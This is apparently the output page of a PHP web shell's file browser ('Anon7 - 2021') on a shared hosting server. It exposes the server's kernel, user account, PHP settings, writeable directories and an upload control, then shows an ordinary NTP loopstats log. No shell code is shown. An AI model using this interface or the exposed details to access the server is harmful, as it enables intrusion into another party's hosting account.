KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache
System : Linux cs317.bluehost.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : andertr9 ( 1047)
PHP Version : 8.2.18
Disable Function : NONE
Directory :  /var/log/ntpstats/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/log/ntpstats/loopstats.20230705
60130 261.685 -0.000175600 2.285 0.000145602 0.022144 10
60130 334.635 -0.000185426 2.285 0.000136243 0.020714 10
60130 2360.682 -0.000191390 2.283 0.000127461 0.019383 10
60130 4446.667 -0.000003645 2.283 0.000136461 0.018131 10
60130 5490.630 0.000003572 2.283 0.000127673 0.016960 10
60130 7571.657 -0.000014160 2.281 0.000119591 0.015878 10
60130 7639.680 0.000232627 2.281 0.000141871 0.014853 10
60130 9704.644 0.000601214 2.358 0.000185993 0.030692 10
60130 10720.643 0.000737045 2.361 0.000180487 0.028727 10
60130 11744.645 0.000660288 2.364 0.000170997 0.026886 10
60130 13805.667 0.000722651 2.457 0.000161466 0.041457 10
60130 14884.634 0.000636084 2.459 0.000154107 0.038790 10
60130 16953.630 0.000407899 2.512 0.000165194 0.040745 10
60130 19065.648 0.000071167 2.521 0.000195068 0.038246 10
60130 19115.637 -0.000035954 2.521 0.000186358 0.035776 10
60130 20143.644 -0.000298013 2.520 0.000197415 0.033468 10
60130 22216.676 -0.000650276 2.436 0.000222738 0.043018 10
60130 24355.648 -0.000684619 2.351 0.000208706 0.050322 10
60130 26447.648 -0.000352297 2.306 0.000227855 0.049670 10
60130 27513.633 -0.000015518 2.306 0.000244143 0.046462 10
60130 27650.650 0.000086326 2.306 0.000231196 0.043461 10
60130 28683.663 0.000036245 2.306 0.000216988 0.040654 10
60130 29653.663 -0.000076903 2.306 0.000206878 0.038029 10
60130 31786.646 0.000194342 2.330 0.000215976 0.036597 10
60130 33860.680 0.000542492 2.400 0.000236571 0.042156 10
60130 35987.642 0.000801401 2.500 0.000239478 0.053090 10
60130 37027.664 0.000474093 2.502 0.000252135 0.049665 10
60130 39177.658 -0.000161513 2.482 0.000325769 0.046996 10
60130 41298.633 -0.000418550 2.429 0.000317991 0.047738 10
60130 43424.644 -0.000584113 2.356 0.000303158 0.051634 10
60130 44449.647 -0.000651413 2.353 0.000284575 0.048307 10
60130 45523.644 -0.000480764 2.352 0.000272947 0.045192 10
60130 46598.640 -0.000321689 2.350 0.000261440 0.042276 10
60130 48726.668 -0.000415473 2.298 0.000246792 0.043626 10
60130 49768.629 -0.000371742 2.297 0.000231370 0.040812 10
60130 51889.650 -0.000100258 2.284 0.000236756 0.038435 10
60130 52895.637 -0.000182665 2.283 0.000223373 0.035954 10
60130 53981.643 -0.000193536 2.283 0.000208982 0.033633 10
60130 55037.640 -0.000551926 2.280 0.000232959 0.031470 10
60130 56155.655 -0.000624751 2.278 0.000219429 0.029452 10
60130 57198.634 -0.000642671 2.275 0.000205355 0.027564 10
60130 58244.646 -0.000557582 2.273 0.000194433 0.025795 10
60130 59289.663 -0.000441911 2.271 0.000186417 0.024137 10
60130 61374.629 -0.000411330 2.219 0.000174712 0.029229 10
60130 63460.639 -0.000437635 2.163 0.000163692 0.033729 10
60130 64501.634 -0.000137886 2.163 0.000186217 0.031551 10
60130 66653.653 -0.000034242 2.158 0.000178003 0.029551 10
60130 68802.643 -0.000029639 2.155 0.000166515 0.027674 10
60130 69881.643 0.000074056 2.155 0.000160017 0.025887 10
60130 70946.654 -0.000103593 2.155 0.000162326 0.024215 10
60130 73019.661 0.000220403 2.183 0.000190205 0.024759 10
60130 75139.645 0.000346468 2.226 0.000183418 0.027820 10
60130 77243.638 0.000298071 2.264 0.000172423 0.029246 10
60130 79289.630 0.000275825 2.266 0.000161479 0.027367 10
60130 80361.682 0.000259432 2.267 0.000151160 0.025602 10
60130 81488.670 0.000063894 2.268 0.000157393 0.023949 10
60130 82561.661 0.000009921 2.268 0.000148460 0.022402 10
60130 84590.642 0.000008726 2.268 0.000138872 0.020955 10

Anon7 - 2021